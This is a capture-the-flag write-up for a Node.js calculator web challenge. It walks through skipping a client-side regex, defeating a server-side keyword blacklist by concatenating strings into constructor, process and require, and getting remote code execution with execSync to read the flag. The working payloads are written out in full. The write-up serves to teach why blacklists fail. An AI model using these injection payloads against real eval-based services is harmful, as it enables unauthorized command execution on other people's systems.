Skip to content

SECURE_CONNECTION//PRESS[CTRL+J]FOR ROOT ACCESS

BACK TO INTEL
WebMedium

Calculator

CTF writeup for Calculator from Next Hunt

//Calculator

>Challenge Description

Name: Calculator

Category: Web

Goal: Retrieve the flag from a remote calculator application.

The challenge presents us with a simple calculator web interface. We are provided with a URL and told there are no local files to download initially.

>1. Reconnaissance & Analysis

Upon visiting the website, we see a functional calculator. Standard operations like addition and subtraction work as expected.

Client-Side Logic

Inspecting the page source reveals a bundle.js file. A quick analysis (or formatting) of this file shows how the frontend works:

javascript

document.querySelector(".equals").onclick = async () => {

  const expr = output.value;

  // Client-side filter

  const blocked = /['"\[\]\{\}]/;

  if (blocked.test(expr)) {

    alert("Blocked characters detected!");

    return;

  }

  // ... fetch call to /calculate ...

};

There is a client-side regex check ['"\[\]\{\}] that prevents us from sending quotes, brackets, or braces. If passed, it sends a POST request to /calculate with the expression in a JSON body: {"expr": "1+1"}.

Server-Side Behavior

Since client-side checks can be easily bypassed (using curl, Python, or a proxy like Burp Suite), our main focus is the backend.

We tested a few payloads to identify the backend technology:

  •   1+1 -> 2

  •   1/0 -> null. In Python 1/0 raises an error, but in JavaScript/Node.js, 1/0 is Infinity. However, JSON.stringify(Infinity) results in null. This strongly suggests a Node.js backend.

  •   Sending process resulted in {"error": "Blocked keyword"}.

This confirms two things:

  1.  The backend is likely Node.js.

  2.  There is a server-side blacklist/filter protecting against RCE (Remote Code Execution).

>2. Vulnerability Assessment

The application blindly evaluates mathematical expressions. In Node.js, this is often done using eval() or new Function(). Both are dangerous and can lead to RCE if inputs aren't strictly sanitized.

We verified the blacklist by sending various keywords:

  •   process -> Blocked

  •   require -> Blocked

  •   constructor -> Blocked

  •   exec -> Blocked

However, the server allows string concatenation and properties if we can construct them without using the literal keywords.

>3. Exploitation

Bypassing Client-Side Filters

We wrote a simple Python script to interact with the API directly, completely ignoring the browser's regex checks.

python

import requests

requests.post("http://ctf.nexus-security.club:3067/calculate", json={"expr": "YOUR_PAYLOAD"})

Bypassing Server-Side Filters

The goal is to get a shell or read the flag. In Node.js, we typically want to access process or require('child_process') to run system commands.

Attempts & Refinement:

  1.  Accessing Function constructor:

    Usually (1).constructor gives us the Number constructor, and (1).constructor.constructor gives us the Function constructor.

    *   Payload: (1).constructor -> Blocked.

    *   Bypass: Property access using square brackets with concatenated strings!

    *   New Payload: (1)["const"+"ructor"] -> Works!

  1.  Creating a Function:

    We want to create a function that returns the process object.

    *   Goal: Function("return process")()

    *   Payload: (1)["const"+"ructor"]["const"+"ructor"]("return process")()

    *   Result: Blocked keyword (because "process" is in the string).

    *   Bypass: Split the string inside the function body.

    *   New Payload: (1)["const"+"ructor"]["const"+"ructor"]("return pro"+"cess")()

    *   Result: Invalid expression or error (likely because process is a complex object and sending it back via JSON causes a crash or circular reference error).

  1.  Executing Code:

    Instead of returning the process object, let's just use it inside our remote logic to require child_process and execute a command.

    We need: process.mainModule.require('child_process').execSync('command')

    Applying our string-splitting bypass to every sensitive keyword:

    *   process -> "pro"+"cess"

    *   require -> "re"+"quire"

    *   child_process -> "child_pro"+"cess"

    We crafted a payload that executes ls -la and converts the output to a string (so it allows JSON serialization).

4. Final Payload

Here is the final constructed payload. We wrap it in a try...catch block to handle any errors gracefully and return them as strings throughout the API response.

Objective: cat flag.txt

javascript

(1)["const"+"ructor"]["const"+"ructor"](

    "try { return pro"+"cess.mainModule.re"+"quire('child_pro'+'cess').execSync('cat f'+'lag.txt').toString() } catch(e) { return e.toString() }"

)()

One-liner representation:

(1)["const"+"ructor"]["const"+"ructor"]("try { return pro"+"cess.mainModule.re"+"quire(\"child_pro\"+\"cess\").execSync(\"cat f\"+\"lag.txt\").toString() } catch(e) { return e.toString() }")()

>Result

Sending the payload yielded the flag:

nexus{7h1s_1s_no7_3v4l_Th1s_15_3v1lllllllllllllllllll}

>Conclusion

This challenge demonstrated that blacklists are rarely sufficient for securing code injection vulnerabilities. By understanding the underlying language features (like JavaScript's dynamic property access and string concatenation), we were able to reconstruct blocked keywords and achieve full Remote Code Execution.

![[Pasted image 20251212032122.png]]